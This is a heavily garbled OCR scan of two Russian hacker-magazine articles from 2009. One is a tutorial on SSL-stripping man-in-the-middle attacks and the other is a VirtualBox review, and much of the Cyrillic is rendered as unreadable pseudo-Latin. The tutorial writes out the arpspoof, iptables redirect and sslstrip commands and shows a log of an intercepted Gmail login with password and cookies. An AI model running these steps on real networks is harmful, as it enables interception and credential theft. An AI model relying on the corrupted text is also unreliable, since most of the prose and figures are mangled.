)J,pyra>l np06neMa - ceccYll'I. nponyCKa>l 3Tan aBTOpv13al.\Yll'I, Mbl MO>KeM OCTaTbC>l 6e3 norYlHa l'I napon>l. PeWeHYle cneAYIO
~
links
npo6neMbi C nOAMeHo~ CCbJIlOK MOryr B03HVlKHYTb B clle
I.l.\ee: ceccl'IlO TO>Ke HaAO y6Y1BaTb, HO Hy>KHa OCTOpO>KHOCTb,
iWIOI.l.\l'IX CnY4a>lX:
4T06bl He BbJ3BaTb nOA03peHl'I~. CeccVll'l l'IMelOT CBO~CTBO
• )J,oMaWH>l>l CTpaHVl4
• C KOMnpeCCYlpOBaHHblM KOHTeHToM, KOTOPbl~ CnO>KHO
YlCTeKaTb !JaKaH4l'1BaTbC>l1. npl'l4eM He BcerAa >lCHO, KorAa
Ka Moxie Marlinspike:
napCYlTb;
3TO npOVl30~AeT. OAHO MO>KHO CKa3aTb n04TYI HaBepH>lKa: OHl'I
ilJ.Q.\l9 htcri me .org. • sslsniff: thoughtcrime.
nonE CEPT~<I>~KATA«BASIC CONSTRAINTS» co 3HA4EH~EM nAPAMETPA «CA=FALSE»
QI]JLs.oftware(sslsniff. ·sslstrip: thoug hlcrime. o..cgL software(sslstrip. • arpspoof: ~poof.sourcefor~.
€) ~
dvd
• Bce ynOM>lHYTble B CTaTbe YTVlnVlTbl Tbl Ha~Aewb
Ha HaweM
DVD-npVlno>KeHVlVl . • Ha AVlCKe VlUjVl He 6onbwylO AeMoHcTpa L\VlIO B03MO>KHOCTe~ sslstrip.
~
028
XAKEP 05/125/09
nOAn~CbIBAEMCEPT~<I>~KAT ~MEIOW.~MCS1 HAPYKAXCEPT~<I>~KATOM
PAYPAL.COM
AllS1 XAKEP.RU
RootCA
Intermediate ot CA
Intermediate
1.J!••••IlIII.
Intermediate Intermediate
Intermediate Leaf [xakep.ru) Leaf (xakep.ru)
H~M 3BEHOM
B UEnO~KE
ETCS1 CEPT~<I>~KAT CAIf1TA
P.RU
_ -
,oT nOCpe,QVl aKTVlBHOM pa60Tbi. n03TOMY
-.ocJ1e Hayalla MITM-aTaKVl HaYVlHaeM - "'" pOBaTb Tpa<pVlK, npOXO,Q~ll.\VlM Yepe3
Leaf [paypal.com) l...(enOYKa cepTV1<pV1KaToB: OT cepTV1<pV1KaTa l.\eHTpa CepT>I<p>lKal\V1V1,Qo cepTV1<pV1KaTa Hawero caMTa
eTC~,
OHa y>Ke ,QOl1ro pa60TaeT
Vl,
eCIlVl Mbl ee npV1
6beM, TO nOA03peHV1M ::lTO, CKopee Beero, He Bb130 BeT. BOT, B 06ll.\eM-TO, i'l Bee ceKpeTbl ycnexa.
--:> -e TporaeM Cookies B TeyeHVle KaKoro
-"..,,>NTKa BpeMeHVl [HanpVlMep, 5MVlHyrl. T\4 "2
--
5MVlHyr, 1'1 3anOMV1HaeM Bce ceccV1V1,
3>1,QellV1 3a ::lTO BpeMR ECIlV1 noclle
~BIl~eTC~ KaKa~-TO HOBa~,
TO nOllyya
1'1 napollV1. Onb/Tbl Mbl 6YAeM npoBo,QV1Tb Ha BV1pTyallbHblx MaWVlHax. VlTaK, y Hac eCTb He60llbwa~ 1l0KallbHa~ ceTb, COCTO~ll.\a~
1'13 MaWV1Hbl >KepTBbl [192.168.1.31. HaweM
~ ~CnbITAEM
MaWVlHbl [192168.1.5) 1'1 MaWVlHbl, clly>Ka
SSLSTRIP B AEJlE
ll.\eM WIl1030M B VlHTepHeT [192.168.1.11
Ho ,QOBOllbHO IlVlpV1KVl. nOCMOTpV1M, peallb
Tenepb nOArOTOBV1M nllal\AapM AIl~ aTaKV1.
HO 111'1 YTall.\V1Tb YbV1-HV16y,Qb 110rVlHbi
B KayeCTBe OC Ha CBoeH MaWV1He 6YAeM V1cnOllb30BaTb nonYIl~pHblM ,QV1CTpV16yTVlB
_
=HHbIH l.\eHTp -'ilKal.\i'li'l
BackTrack3 [Bce TO >Ke caMoe MO>KHO npOAe
RootCA cepnl(pl1KaT
llaTb
Vl
nOA BV1HAOM, nOCTaBV1B Heo6xOAV1Mble
nporpaMMbl 1'1 HaCTpOV1B eV1CTeMY, HO 3ayeM AellaTb IlVlWHIOIO pa6oTy, eCI1V1 KTO-TO y>Ke
- <THbli1 l.\eHTp .1oIKal.\i'li'l
T
1-i1
CepTl1lPl1KaT CA
c,Qellall ee 3a Te6~?1. VlTaK, 3arpy>KaeM CVlCTe npOBepHeMcpOKAeHCTBi'lHCepTI1~I1KaTa.
OH nOAnl1CaH Root CA. Root CA HBl1HeTCH AOBepeHHbIM, Ha nOM npOBepKa 3aKaHYV1 BaeTCH.nOAl1V1HHOCTbcaHTaYCTaHOBl1eHa.
My 1'1 YCTaHaBIlV1BaeM sslstrip:
#bt python setup.py install B npV1Hl\V1ne, MO>KHO Aa>Ke He YCTaHaBI1V1BaTb,
- CTHblH l.\eHTp loIKal.\i'lV1
2-H
CepTl1lPl1KaT CA
npOBepKa cpOKa AeHCTBI1H CepTi'l~I1KaTa. Y3HaeM, YTO CA2 nOAni'lCaH CepTi'l~i'lKa TOM CAl, KOTOpbli1 onHTb >Ke He ~Bl1HeTCH
a 3anycKaTb sslslrip cpa3Y:
#bt python ./sslstrip.py -h
AOBepeHHbIM. npOBep~eM Cl1eAYIOll.\V1i1 cep TV1 <pi'lKaT. YTo6bl Bce 3apa60Ta1l0, HaM Hy>KHO
...
npOBep~eM cpOKAeHCTBV1H CepTi'l~I1KaTa
i'l y3HaeM, YTO OH nOAni'lCaH CepTI1~V1KaTOM CA2. T.K. TOT He HBl1HeTC~ AOBepeHHbIM, nepeXOAi'lM K Cl1eAYIOll.\eMY CepTi'l<pi'lKaTy B l.\enOYKe.
HeMHO>KKO nO,QKOH<pV1rypV1pOBaTb cV1cTeMy. CnepBa BKIlIOYV1M Ha MaWVlHe pe>KV1M nepe HanpaBlleHV1H naKeTOB Iforwarding model. ):(ellaeTc~ 3TO clleAYIOll.\eM KOMaHAoM:
#bt echo "1" > /proc/sys/net/ nporpaMMa.
ipv4/ip_Eorward
npoBeplllOll.\a~
CepTi'llP I1KaT
«npOUEAYPA npOBEPK~ CEPT~<I>~KATOB»
3aTeM HaCTpOV1M iptables ,Q1l~ nepeHanpaBlle HI1~ httP-Tpa<pVlKa:
~
029
....c: III
QJ
E :::l
U
o
Cl
CO ....
QJ
III
~
e
co E
.... QJ
~
III
~
u:::
Sending 2009-04-27 01:05:55,315 Sending header: cookie: utma=173272373.1849737500.1240172717.1240172717.1240779903.2; utmb=173272373; _utmz=I73272373 .1240172717 .1.1, utmccn=( organic) I ut mcs r=googl e I utmct r=gmai llutmcmd=organic; _utmc=173272373; GoogleAccountsLocale_session=ru; GALX=zflNOU6Dbgw; PREF=ID=b22104af5cb7cla2:TN=1240172745:LN=1240172745:S=ygJPOchJxaZ-N2EG; TZ=-240; G~~IL_RTT=4609; G~~IL_LOGIN=T1240779893453/1240779893453/1240779964171
2009-04-27 01:05:55,320 Sending header: content-type: appl icat ion/x -~M~I- form - url encoded 2009-04-27 01:05:55,335 SECURE POST Data (~~Iw.google.com): 1tmpl=defaul t~l tmplcache=2~continue=http%3A%2F%2Fmail . googl e. com%2Fmail%2F %3F~service=mail~rm=fal s e~l tmpl=defaul t~l t mpl=defaul t~scc=I~GALX=zflNOU6Db gw.Email=testI234 Passwd=testI234.rmShown=l~signIn=%D0%92%D0%BE%D0%B9%Dl %8 2%D0%B8~asts=
2009-04-27 01:05:55,408 Read From Server: HTTP/1. 0 200 OK Content-Type: text/html; charset=UTF-8 Cache-control: no-cache, no-store Pragma: no-cache Expires: Non, 01-Jan-1990 00:00:00 GNT Set-Cookie: GALX=zflNOU6Dbgw Path=/accounts;Secure Date: Sun, 26 Apr 2009 21:07 50 GNT X-Content-Type-Options: nosn ff Content.Length: 19491 Server: GFE/2.0
0 .
t3
2009-04-27 01:05:55,412 Found secure cookie:
II
ILine: 2,199 Col: 241101 RIO \I NORM [IDeSktop.log Find in Files III Tenninal
~.~~fiJ I
G
.2 Default
1:'1 ~
1
St:
u
~
.no "U
np~MEP norASSLSTRIP C nEPEXBA4EHHbIM~ nAPomlM~
«BCE, 4TO TPE60BAllACb Alls:1 PA60Tbl- 3TO nPEAOCTABltiTbSSLSNIFFAE~ CTBltiTEllbHbl~ CEPTlti<DltiKAT.
#bt sslstrip -a -1 8080 -w /root/log.txt napaMeTp '-a' o3Ha4aeT, 4TO Mbl 5y,[leM norVlpoBaTb BeCb npOXO,[l~l11Vli:i http-Tpa¢VlK. '-l' YKa3blBaeT nopT. KOTopbli:i 5YAeM cnywaTb. a '-w' 3a,[laeT nyrb K nor-¢ai:iny. OCTanc~ nOCne,[lHVli:i WTpVlX - 3aCTaBVlTb )KepT By nOBepVlTb, YTO Mbl Vl eCTb TOT caMbli:i wnlO3 B VlHTepHeT. npOBepHeM 3TO c nOMOl11blO yrVlnVlTKVl arpspoof:
KCO>KAllEHltiKl, C2002-rO, KOrAA 6blllA OnY611ltiKOBAHA YTltillf,1TA, 6PAY3EPbl CTAllf,1 YMHEE f,1 TAKO~ npOBEPKO~ 6011bWE HE nPEHE6PErAKlT»
arpspoof -i <yourNetworkdDevice> -t <yourTarget>
<theRoutersIpAddress>
<yourNetworkdDevice> -
~
HameM ceTeBoM
KapT~
(B HameM crryqae ethO).
<yourTarget> -
a~pec
~epTB~.
<theRoutersIpAddress> -
a~pec
mrrD3a
#bt arpspoof -i ethO -t 192.168.1.3 192.168.1.1
LlO)K,[IVlCb. nOKa )KepTBa none3eT B VlHeT. Vl npoBep~i:i norVl. npVlMep KOTOpblX MO)KeWb yBVl,[leTb Ha O,[lHOM "3 CKp"HOB. Bce 3aMe4aTenbHO
#bt iptables -t nat -A PREROUTING -p tep
pa60TaeTI
--destination-port 80 -j REDIRECT --to-port <yourListenPort>
~
HYJlEBA5I 5E30nACHOCTb
KaK B",[I"Wb, 5e30naCHOCTb SSL MO)KHO CBeCTV1 ,[10 Hyn~ V1 npeBpaTVlTb r,[le <yourListenPort> - nopT. KOTOpblX 6y,[leT cnywaTb sslstrip; yCTaHo
3al11V1l11eHHOe COe,[l"HeHVle B He3al11V1l11eHHoe. ,[I06aBV1B Ha Y4aCTKe
BVlM ero B 8080, HanpVlMep.
,[10 nonb30BaTem KOHHeKT no 06bl4HOMy http-npoToKOny.
Tenepb MO)KHO 3anYCTVlTb Vl caM sslstrip:
Y3HaB. HaCKonbKO 3TO npOCTO peanVl30BaTb. AyMalO. Tbl C oc050i:i BHV1
~
030
XAKEP 05 /125/09
flJ "l/, Hi' LI~~b 3AnYlUEHHbll.1SSLSTRIP iii ARPSPOOF 3A PA60T0l.1
X~TPOCT~
1'31\1£1;11 ; ;',·!i1'W.fiMi¥@"!Ii1 11.11+
URL
Gr1 a iI "'''''''"
,qo6po nolt:aIlOllaTb II no'fTY Glnal:
"'.
nOOlXOA Google ~ ~Jl'lCTpoI'lHoii nO'fTe. Gmoil_ 210 HO'" HJlWII
><M
°",
Omoil ocn.:
11::'\ \;;;JI
1Ol:_,"
"O"<let1Il." tee'n(l"""- 6 .. o>e_y_
EloAA>n., I1lknymCoogk
"O><e1tt1ln._. " no.oe:JHI•• A _ . IL1jI' , _ . , . ........ Bt,l,~.
_10 :lJl''''flO'O<'.~o",.
\100• .......-..t.U:~Kiiiit-· .
M,•••• ella...
n..-:E~"OI
~- "'M""'" GO/)glo ",,6...,- rIaIlX)' 'B.o,Q_' 01 • _ _.,""" no"'..
""1 ~
O:J-..n._JI.O_ Q
.................
ope.
I-I r.mnoo... w ~ M..
............ ....,....---..... _---_.-- ---_......,.----.-......,..r_,
_.~---,,-,
~ ~
.. _-,-_.
,,,,,,,,,,,,..,,,,,,
-. ....... ,,-~-"'_
.. SoMe 13D.20E3 .. oro6ri, t l _ · 60A0.WII)
00
,.,--~_
T".""" J)"IJlH 0 Gmtlif? 011 tiIOru_"'" ~C't>I1 • "orl(l1l"O-''''''''
,
SSLSTRIP B.qEI.1CTBIiIIiI. ATAKYlOlUliI1iI nEPEXBATIiIJ13AnpOC HA6E30nAC HOE COEAIiIHEHIiIE iii nOAMEHIiIJ1 ErO. "ITO XOPOWO BIiIAHO no AAPECHOI.1 CTPOKE - BMECTO HTTPS TAM CTOIiIT HTTP
_
0... =~'::.~.H_"_ . _.__,
o''' .......
Clo6cu.-.. MeCTa lll!3a4JlII:'o&.rn. 06 JA_'
....
.
.....
----,~
.. _-_."'
nOAAEJ1bHbll.1 AAPEC GMAI!-. C03AAHHbll.1 Cno MOlUblO OMOr!'A<l>IiI"lECKOIiI ATAKIiIIHA CAMOM AEJ1E3TOTCAIiIT ~BJ1~ETC~ npOCTblM nOAAO MEHOM *.IJJK.CNJ TexHHKy sslstrip BnOJIHe peaJLbHO COBMe<:THTh CTaJ< I-1a3bIBaeMblMH oMorpaqlJ1'-1eCKHMH aTaKaMH. 3ToaTaJ<U, npl1 KOrophiX C03tI,aeTC:.ll c..'{O>Kee HMJ'I ,'I;OMeHa CHCnOJlb30BaHHeM 6Ylm an¢laBHTaAPyroro
MaTeJlbHOCTblO 6YAeWb OTHOCltlTbOl K C006l.l.leHlt151M 6pay3epa 06 l<1cnOllb
H3h1Ka -
30sam'U1 3tlLLlltlw,eHHoro COe,lJ,ltlHeHl.1Q lt1 nOCt.iaTpV1aaTb Ha a.apecHylO
nne'-laTJIeHl1e, 'ITO OHI1 ncpCXOMT Ha pa3pelIJeHHblii Be6-caj:'IT.
crpOKY. Hltl B KoeM cnYl.lae
He BOCnpltlHVtMav.
CT8TblO. KaK
no6y)l(AeHlite
K AelilcTBL-1l0! OHa llL1Wb npl-13SaHa nOKa3ClTb OCHOBHble OWlA6Klo1 V1
HTTP.X
SSL
C l\eJlbJO J3DeCTH
nOJlb30BaTeJIeH B3arulY)KAeHHe H C03jI,3Tb
B200S-M EricJohanson aaperHCTpl1poBaJI AOMeHHoe HMfI p&# l072;ypal.com, KOTopoe HcnQJIb3yeT 'a' 113 KHpltJlJlHll.bl IT Bbl· rJUUJ:HT KBK paypal.com. ~ho Hac He yCTpaHBaeTB TaKoH aTaKe? Hy, Bo-nepBblX, OHa opHeHTHpOBaHa Ha OtI,HH KOHKpeTHbIfi caHT, q'T'O OrpaHH'-IUBaer pa,ilHYC AeHCTBl151. A DO-BTOpbl"X, 6paY3epbl H3}"-1H ,111Cb npaBHJJbHO oTo6pIDKaTh ION (Internationalized Domain Names -I1HTepHal\HOHaJlH30BaHHble,lJ,oMeHHble I1MeHa) li Ao6aBJUHoT
HEMHoro CTAT~CT~K~
KliMCHH TaK Ha3bIBaeMbIH Punycode- npe<pHKc«xn··". ¢aJIbllIHBblff paypal.com npeo6p33yeTOi B http://xn--pyoal-4ve.coffi. YiTaK, MbI He MOllieM licnOJIb30BaTh .com WlH J1Jo60n ~pyrOH..n;oMeH nepsoro ypOBH5I, li60 6paY3epbl.n;o6aB~TKHer.iYPunycode. npHKH~ HeM, KaKHe CHMBOJlbl '-IalL\e Bcero BCTpe'-laJOTCfl BURL[S2]? npaBHJlb
Moxie Marlinspike 3anyC"nlJI sslstrip H3 torY3Jle IT 33 24 'mca
HO: «. / & ?"..l!:anati: aTHM BOCTIOJIb3yeMCR. 3aperHCTj>lipyeM .a;OMeH
CllOBHJl HeXHJlblH ypO>Kaii )"ieTHbiX 3anHceii:
ijjk.cn n nOJlY<JHM cepTHepHl:<aT J],.II}I -Ir .ijjk.cn. A nOTOM npHMeHHM
·login.yahoo.com-114
CTapblH TplOK C6}'l<OBK3MH H3 APyroro a.ll<paBHTa, O'-leHb rrOXO>I<JIMI-l
• Gmain-SO
Ha / H? 1VI51 C03,llClHJ-l5I tPaJlblIJHBblX URL'OK. CHoBa3arryCKaeM sslsniff,
• ticketmaster.com-42
TOJlbKO Ha 3TOT pa3, BMeCTO nOAMeRb( httpsHahttp,6y.n;eMnO,llMeH.RTb
• rapidshare.com-14 • Hotmail-13
URL Aa eBOH .llHnOBble [I0AAOMeHbl. TaR, haps: !/www.gm8iJ.cQmL accolJllts/SeryireLogin CTaHOeUTCJI hltpS: I/www.googlc.com/
• paypa1.com-9
·1inkedin.com-9
CCblJlKe He Ha6.mOjI,aeTC5I. rIJuoc KO BceMy, Mbl 06J1allaeM ,lleHCTBI1
• facebookcom-3
accounts/ServiceLogin?!f.iiik
. HHJ<aKoro PunycodeBnOCllejI,Heti
TCJlbHbJM cepTHtPHKaroM tvUIJJ:aHHoro.a;oMeHa. 3aMeTHTb pa3HHLJ;y npaKTH.'ieCKH HeS03MO>KHO_
XAkEP 0511251 09
~
031
x
VI~"lJA.l~OX
~-----------------~-D
.- ,
Q
G,J __ - _._ -
~ 'lJA.
lQO
!RJIII ••
X
Q
_.I
,#,,1
{]
cT~n~H .• 5r~~ It1l1blilH I S~E~GlC.RU I
TYAllbHAH
AWHHA 3ABEcnnATHO
~ :ill
PEM
ECflVl
'
H~
&
VI~llJA.l~OX Q
.- ,
I I
~
- - - - - -1-0
BOOPY>KEHHE npOrPAMMY
6bl'O~ Ha3aA MHe CKa3aflVl, 4TO VirtualBox B CKOpOM CTaHeT B 0AVlH
p51A CTaKVlMVI nl06V1MblMVI HaMVI npoAyKTaMVI, KaKVMware VlflVl Parallels, 6bl, CKopee Bce,o, npoCTo paccMe51flc51, «iI1HTepecHa51, HO }f{yTKO He
5'1 C>
nyTeBa51, TopMo351w,a51 VI Mafl0cPYHKl...\VlOHaflbHa51 nOAeflKa 3HTY3V1aCTOB»
/ ' - BOT o6w,ee Bne4aTfleH Vie 0 Virtualbox'e TO,O nepVloAa, Ho TO, 4TO B anpefle 5'1 YBVlAefl Ha KOHcPepeHl...\VIVI Sun Tech Days, nOBep,flo MeH51 B WOK: COBceM APY'OVI npoAYKTI np51MO Ha MeCTe 6blflO peweHo: BO 4TO 6bl TO HVI CTaflO, 0 pa3pa60TKe HaAO paCCKa3aTb,
--<
My paCKOBblpRTb cereBoC1 AeMoH. pa306p3TbC>I C HaCTpO~KOVt
TO. '1TO 6onbwylO '-Iaab speMeHVi npOBO:A<y 110.0.
,!),nR
BlilHJJ,OH, H>1KC MHe H~Ha AOBOJ1bHO 'lacTO.
3anycKaeM Ha ABYX BlilpTyallK3x Backtrack iii
AOClynHB
'If
Her
CeTI1 liIJlIiI nO,QrOTOBliITbC>l K 3K33MeHy
nonY4eHII1R npeCTliI>KHOrO cepTliIQ>VlKa-ra.
B~PTYAn~3~POBATb?
nepsaH BepCL-1>! nporpaMMbl CTalla ny61lW-iHO
15 liH6apl1 2007
rOAa. 6bllil,D,R 1.13 HeAP
YAo6Hee. 4eM npoCTO nepeKJl104l1TnCSl Ha Bcer,o,3 r010BYlO OC, 3anYllleHHYlO H3 Bl-lprya.nKe.
Damn Vulnerable Linux. CBR3b1BaeM ceTb - l.1
KOMnaHL-1l.1 Innotek, a )OKe s 4>espalle 2008 pa3pa
ltlenOnb3yeM BeCb cnel..ll.1anbHO C06P3HHbl~
60TKY nplilo6pell3 KOMnalH1R Sun Microsystems.
nocne nocne,o,Hero anrpe~)J,a KOMnblOTepa roCT€
apceHan neHTecT-ynollllilT nepBoro Al-1CTpa H3
BepcRTHo. "ITO
SyfO cWCTeMY C Linux'oM 5l ,D,3Ke He Bb1KJl104alO
eneUl>1anbHO OCTaBlleHHblX 6arax iii ~3BliIMocn,x
KOTOPblill33CT381i111 BCe MeXaHI'l3MbI 13Hyrplil
noelleAHero. 06a Aw;rp1iI6yrIilB3. KCTaTl.1 rOBopH,
VirtualBox pa60TaTb, KaK HaAO. Co BpeMeH€M
H14lJero
~lb
m4TO MO>KHO
BliIpryanbHble MaWltlHbl ~ 83~11 Ha Boop~eHV1e
,o,aBHo \1 I1CnOJ1b3YIO liIX nOCT051HHO. HeCMOTp51 Ha
~
QHa nOCTO"HHQ 8l.10lT B naM51H1
CeL!ilJac
iii
cTano reM Bonwe6HbiM nI'1HKOM,
6bllllil H3 H3weM npownoM AliICKe.
pa3pa6oTKB. l.13Ha4allbHO oplileHTl.1pOBaHHa51
npeSpaT\1l1aCb pa6oYa" CltlCTeMa, yCTaHoBH 51 Ha
Aa)l(e He 6epR B paC'-1eT cepsepHble peWeHl.1\l. Ha
Ha 3anycK TOl1bKO Windows
Hee BeCb CO~T. C KOTOpblM nplo1xOAlilTC51 HMeTb
KOTOpblX Sl'lpTYalll.13aL\I.1R npI'1MeH>leTC>! cnllOWb 1'1
3anycKaTb caMble pa3Hble Cl.1CleMbl, B TOM 41'1Cl1e,
pR.L\OM, 61i1pryaJIbHbie MaWL-1Hbl nnOTHO yKpeml.lllilCb
TaKlile KaK Solaris, OpenSolaris L-1 OpenBSD.
y')/(,.8 C.nO)KHO
~
npe,o,cr3Sli1Tb,
BO '<TO 6bl
,[Ieno. A onepau,1II0HKe nap, BV1pryallKOLii
see
Ha 06bl4HblX pa604L-1X CTaHu,I'1RX_ nOp,xOAflUJ.IolX
iii
linux. HaY4l.1JlaCb
YMenbu,bl ,D,B>Ke YMyApfllOTCI1 B Ka4eCTB0 rocresoC1
Hl1no'-le MI YTO 6bl H\I1 np0\olCxoJJJ1JlO, KaKYIO 6b1
iii
naKOCTb HVl H3T80Plo1l1i) TOJlbKO '-lTD ycraH06neH
nnaT<j>opM HeMano. Ecnlol He 3aL-1KaTbC51 06 WMware
ac"" 3anl.1XHyrb Mac OS. nps8)J,a, \IlCnOnb3YlOT
Workstation. TO 3TO - Parallels Workst3tion. BnOJl~
AJl51 3TOro a.o,anT!'lpOBaHHyKl All>! InteroeCKl'1x
H3>l yrlilmn3,
iii KaKO~
6bl COMHIiITe.nbHO~ ,fJ,eR
PC 1.1,
He pa60Tocnoco6H3R Microsoft Virtual
B p36oTocnoco6Hoe npliIllO)l(eHl>1e napo~ KJll.1KOG
Heu,. VirtualBox B MoeM JlW·IHOM xlo1T-napal-\e 1lI061'1~
rOCTeBble Cl-1CreMbl ,aK>Ke He npo611eMa. nOCl1e
MblWliI - AOCTaT04HO m1Wb 6bl6paTb Hy:>KHbICi
Ma>l (IBMBapa» ,CIonroe BpeMI1 3aHI'1Ma.na nepBoe
Tore. KaK pa3pa60TKS CTalla nO,ll"Qep>KliIB3Tb
CHIiIMOK CIiICTNlbl [snapshotJ. TpY.QHO HaCin1 cpeA
MecTO Ho "'ITO crpaHHo: HeCMOTp" H3 6onbwo~ WTaT
Bce annapaTHbl€ TeXHOllOrl'1V1
CTBO MOll.lHee, '-no6b1 B BlilpryanbHblx yellOBl>1>lX
eOTpy,D,Hl.1KOB. HOBbie 6epcl.1L-1 n0118n"IOTCfI Bee pe)f{€.
KOTOpblMI'1 CHaC>K3IOTCR cospeMeHHble npo
eocC03AaTb ceTeBylO IiII-lc?paCTpyKTYPY n1060Ci
a KaKl'lX-TO peBofllOu,1'10HHblX peWeHf1f1 He BI'1AHO
l..IeCCOpbl_ B o6w,eM, VirtualBox cr3ll npO,D,yKTOM,
ellO::+::HOCTl.1, c HpKHblM KOllV14eCTBOM XOCT06 H3
606ee. KOr.L\d-TO He.o,OCl1raeMoMy nl1AepyTenepb Hi,?
KOTOPbl~
P33JlV14HbIX CI1CTeMax. npOB03lt1BWl.1Cb 4acoK. Mbl
npoCTO HacrynalOT Ha n>lTKf1. HO 11 no MHOrl1M 4JpOH
K TOMy )f(e. BepCCil>1 eeTb AJlR Windows, Lli\LlX.
nony.,aeM n1l3T¢JopMY. Ha KOTOpoCi JlerKO MO)l(HO
taM era Ha'-lI'1HaIOT onepe;;<aTb
Solaris/OpenSolaris/MacOS
110TeeH1Tb H08YlO x-tooliy. nonp060B3Tb C3MO
llW~HO y6eAIolJ1eR. nopa60T36 c VirtualBox
~
032
KOH~HTbI,
H8KO
npolteCCOpOB BepC1'11O Hackintosh. A 64-6l-1THble
TeflbHOCTbIO Hlil 33Hl>1M3113Cb, oeb 603Bpall\a€TCR
B '-1eM 11
6I'1pTYalll.13a~l'1l'1,
,fJ,ej:1CTBliITellbHO MO)l(HO VlcnOllb30saTb.
X.
3anycrl-1Tb onepaL\1iI0HKY no,!), VirtualBox'OM He
XAl<EP 0"/1251 09
[}-------- L
_
-[J
,;;-::::.=~_~_.LI'tt"",,==~~~~~=l_=_~_._M!IIj---; Ti~
~lJii·~;;;'~~~
'i!!ll_
'I:~:: ;1 8
-_
WC::;~i·
>o,.,._.,.r.v.!'.
_., ..,.'"....".",.....".,.. ,_,,_......... ,l-l._.,.. . I".•
~ -,.... >.",,,,,....',,,,,, .....,, ,.. ,,",h"'" , _ _ >.'"
.. ...
" "... ,"''''.",., '''._" " -" ..... ", .... ,,,",,,'''
.." ...
,_to, I""
.....,,,.,...,(-,
-..._~.-
=:.
_~._
lij •
- - - - - - - ----
C..."""l lQ C~ ...o<l '~C"._4
=:~:.=-.:.:':.:', ...::::-;.~,':~~\,.~:'::. ,....-........ ".., , ......
~
.T~'O(TO""'(_"")
.. ,
, ,.,""" ..."""'..,.,.".,.....,,, ,*-,...
_ _ .. _, ..". ,.,.... ".'''.'' n.,,.. ...., ~_'"::.;~''::;':::''7: :-r,~.-. , .~
'''~
• .....,.. <>"'
"'::.-.
0=
<0<,......,,,
rJ1ABHOE OKHO VIRTUALBOX, HA HEI1 nOAH~TbI4 BI1PTYAJ1KliI
-~
,.".,..,_
, " ••
,
" , ... " .....'"
1<>1
''''''.I-l._U ..
nOArOTOBKA K YCTAHOBKE GUEST ADDITIONS HA UBUNTU 9.04. 3AnYlllEHH0l1 HA BI1PTY AJ1bHOI1 MAWI1HE
CJlQ)t(Hee, 4eM npOCTO ycr3HOBl-lTb ee Ha KOMnblO·
KOMnblOTepy, KOTOpbli1 Tenepb pa50TaeT BHyrpV1
Bbl6HpaeTcSl B c80iiCTSClX BV1pryaflbHoi1 MaWV1Hbl
rep. A B03MQ)KHO, /l,3>Ke
CTaHp,apTHoro OKHa CV1CTeMbl. Pa60Ta rocreBOL>t
V13 CJ1eAYlOlLiV1X Bapl-1aHroB:
I-l
npolLle, nOToMy 'HO 8
:1.
C\<1CTeMbl MallO OTfl1ll4aeTCl1 OT TOi:1 )l(e onepa~140H
Not attached tHe nOJl,KJ1104eHl:
CaM li1HTeM>e~c nporpaMMbl 04eHb npocr. HaAD
Kl-1, ycraHOSJ1eHHOL>t Ha KOMne. VirtualBox nOAAep
Network
nocrapaTbCH, 4To6bl He CYMeTb Ha~TI1 KHonKy
>KV1BaeT sV1pTyall1013a~1II1O aYAl-1oycTPOL>tCT8. 50nee
Bridged networkinglCeTeBoH MOCT):
«C03,Q3Tb". C nOMOlllblO KOTOPO~ ltI C03p,aeTCH Hosall
TOro, nporpaMt>la pealllil3yeT Bl-olpT)'aJlbHbli1 USB·
Internal networking IBHyrpeHH1ll1 ceTbI:
cOCe,ll,HeM CKHe MO>KHQ n041-lTbiBaTb MaHyaJ1
811pryaJlbHaH MaWItlHa.
8 xo,n.e pa60Tbi MaCTepa
Heo6xo,ll,I-1MO BblnOJlHI1Tb HeCKOJlbKO 3TCln08:
1(0HlpOll1lep, n0380Jll1iOUJ.l-oli1 nOJl,KflK>4V1Tb np0V13
Address
Translation INATI:
Host-only networking (Bl-1pryClJ1bHaR ceTb
BOJ1bHOe USB-yCTpOi1CTBO K Bl-1pTYallbHOJ1 MaWI-1
xocTa) no YM0J14aHV1K>, BlIIpryaJlbHble ceTeBble aAanrepbl
• Bbl6paTb nm onepall,IIlOHKV, l.-l Ha3BaHI1e Bli1PTY
He, 6e3 Heo6xOAl-olMOCTlo1 YCTaHaBJlV1B3Tb Apai:1Bepa
8JlbH0L1 MaWlilHol;
Ha MaW\<1HY-XOCT. Oc06eHHO peKOMeHAYlO ClIICTeMY
pa501OlOT B pe)t(l-1Me NAT"a, li1,D,eanbHO nO,Qxo)J,l1
• yKa3aTb pa3Mep onepan18Klt1, 8bltl,efleHH0L1
CHenwoToB -
~eM, 4T06bl npep,OCTa8V1Tb rOCTeBO~ onepalJ,l-10H
TaK Ha3blsaeMbix CQXpaHeHHblx
HO~ Cli1CTeMe npoaei:1Wl-1i:1 p,ocryn B \IIHeT IcepeplllHr
rOCTeeoYl OC:
COCTOI1HV1~ Blo1pTyallbHO~ MaW\.1Hbl. KJlK>60My V13
• C03,QaTb HOBbll1lo1J1L.1 \IlcnOJlb30saTb ¥)Ke lilMelO
CHenWOT013 MO>KHO 5blCTPO np0li13secrlo1 OTKaT 1013
Be5a. n04Ta li1 T.A.l. Ho OTcyrCT6V1e peaJ1bHoro
LUlIlL1CIl 6V1PTYaflbHblL1 >:<eCTKli1Y1 ,ll,lKK
llK>50fO COcr0I1H141'1 roCTeeoi1 CV1CTeMbi. V1,QeanbHal1
IP-a.a,peca C80AI1T H3 HeT nOJle3HOCTb TaKoro pe)t(l-1
E,QIo1HCTBeHHblL1 )-\I0aHC -
pa~ caM -
:no Hm A~CKa: BbI6>1
nJlOlLiaJl,Ka J],J111 3KCnep\<1MC'HToe!
1<1f111 CTaT>1~eCKI1~. KOTOPbl~ cpa3Y
Ma, n03TOMY 80 MHOrlllx CJ1y<-l3I1X ny<-lwe 14CnOllb3G BaTb «CeTe60H MOO», B 310M Clly<-lile B>1pryaJlbHbli1
3aiiMeT Bce BblAelleHHoe EMy MecTO, I1JlI<1 Ali1Ha
&l CETEBblE HACTPOIIIKIo1
MV1~ecKV1i1, 4>a':'l1 KOTOporo 5Y.QeT paCWl-1plnbCS>
Pa3 YYi. 11 3al-1KHYJlCl1 0 TOM, 4TO Ha BV1pTyaJ1
B ceTb, KaK 1II ceTe80Ci a,lJ,3nrep MaWlIIHbI-xocr.
no Mepe Heo6xOAI<1M0C7li1. 3arOTOBKB C03,D,aHa,
KaX MO>KHO 80((03,D,aTI:> npaKTI<14eCKlo1 J1l06yK!
HanplIIMep: Bee MOl-1 BV1p-ryaJ1KV1 l-1Mem lP-WHli1KI-1,
